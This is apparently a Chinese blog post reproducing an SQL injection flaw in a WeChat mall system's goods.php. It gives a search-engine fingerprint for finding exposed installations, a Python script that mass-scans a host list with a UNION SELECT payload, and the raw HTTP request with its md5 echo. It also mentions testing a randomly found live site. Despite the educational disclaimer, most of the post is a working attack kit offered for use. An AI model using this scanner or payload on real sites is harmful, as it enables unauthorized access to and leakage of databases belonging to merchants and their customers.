【漏洞复现】微商城系统 goods SQL注入漏洞

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

微商城是基于微信这一广受欢迎的社交平台的商业应用,利用微信的广泛用户基础和快速传播特性,为商家提供了一个便捷的电子商务平台。然而,其接口goods.php存在SQL注入漏洞,可能导致数据库敏感信息泄露。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:web.body="/Mao_Public/layer/layer.js"

2.使用poc批量扫描

python 复制代码
import requests
import urllib3
from urllib.parse import urljoin, quote
import argparse
import ssl
import re

# 禁用SSL证书验证,允许不安全的请求
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    """
    读取文件中的URL列表
    :param file_path: 文件路径
    :return: URL列表
    """
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    """
    检查目标URL是否存在SQL注入漏洞
    :param url: 目标URL
    :return: 如果存在漏洞,返回True
    """
    url = url.rstrip("/")
    try:
        # 构造恶意请求URL,尝试进行SQL注入
        target = urljoin(url, "/goods.php?id='+UNION+ALL+SELECT+NULL,NULL,NULL,md5(123456),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-")
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
        }
        response = requests.get(target, verify=False, headers=headers, timeout=15)
        # 检查响应状态码和响应内容中是否包含特定的字符串,以判断是否存在漏洞
        if response.status_code == 200 and 'e10adc3949ba59abbe56e057f20f883e' in response.text and 'Mao_Public' in response.text:
            print(f"\033[31mDiscovered:{url}: WeChatMallSystem_goods_SQLInject!\033[0m")
            return True
    except Exception as e:
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

cmd运行poc脚本:python poc.py -f host.txt

随机寻找的幸运儿

三、漏洞复现

1.构造数据包

1.构造数据包:

html 复制代码
GET /goods.php?id='+UNION+ALL+SELECT+NULL,NULL,NULL,md5(123456),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Connection: close

2.数据包分析

  1. 这是一个HTTP GET请求的数据包,包含了请求行、请求头和空的请求体。下面是对这个数据包的详细解析:

  2. 请求行(Request Line):

    • 方法:GET
    • URI:/goods.php?id='+UNION+ALL+SELECT+NULL,NULL,NULL,md5(123456),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-
    • HTTP版本:HTTP/1.1
  3. 请求头(Headers):

    • Host: x.x.x.x:表示请求的目标服务器地址。
    • User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1:表示发起请求的客户端信息,包括浏览器类型、版本等。
    • Connection: close:表示请求完成后关闭连接。
  4. 这个数据包的目的是向目标服务器发送一个SQL注入攻击的请求,试图获取数据库中某个特定MD5值对应的信息。

  5. 请求体(Body):

    • 由于这是一个GET请求,请求体为空。

3.结束跑路

1.构造数据包md5(123456),得到回显e10adc3949ba59abbe56e057f20f883e

**每篇一言:**曾盛开过一朵,曾不会败落,曾在他眼中流淌过浩瀚的银河。

相关推荐
南城花随雪。11 分钟前
硬盘(HDD)与固态硬盘(SSD)详细解读
数据库
儿时可乖了12 分钟前
使用 Java 操作 SQLite 数据库
java·数据库·sqlite
懒是一种态度13 分钟前
Golang 调用 mongodb 的函数
数据库·mongodb·golang
天海华兮16 分钟前
mysql 去重 补全 取出重复 变量 函数 和存储过程
数据库·mysql
Koi慢热33 分钟前
路由基础(全)
linux·网络·网络协议·安全
gma9991 小时前
Etcd 框架
数据库·etcd
爱吃青椒不爱吃西红柿‍️1 小时前
华为ASP与CSP是什么?
服务器·前端·数据库
Yz98762 小时前
hive的存储格式
大数据·数据库·数据仓库·hive·hadoop·数据库开发
武子康2 小时前
大数据-230 离线数仓 - ODS层的构建 Hive处理 UDF 与 SerDe 处理 与 当前总结
java·大数据·数据仓库·hive·hadoop·sql·hdfs
苏-言2 小时前
Spring IOC实战指南:从零到一的构建过程
java·数据库·spring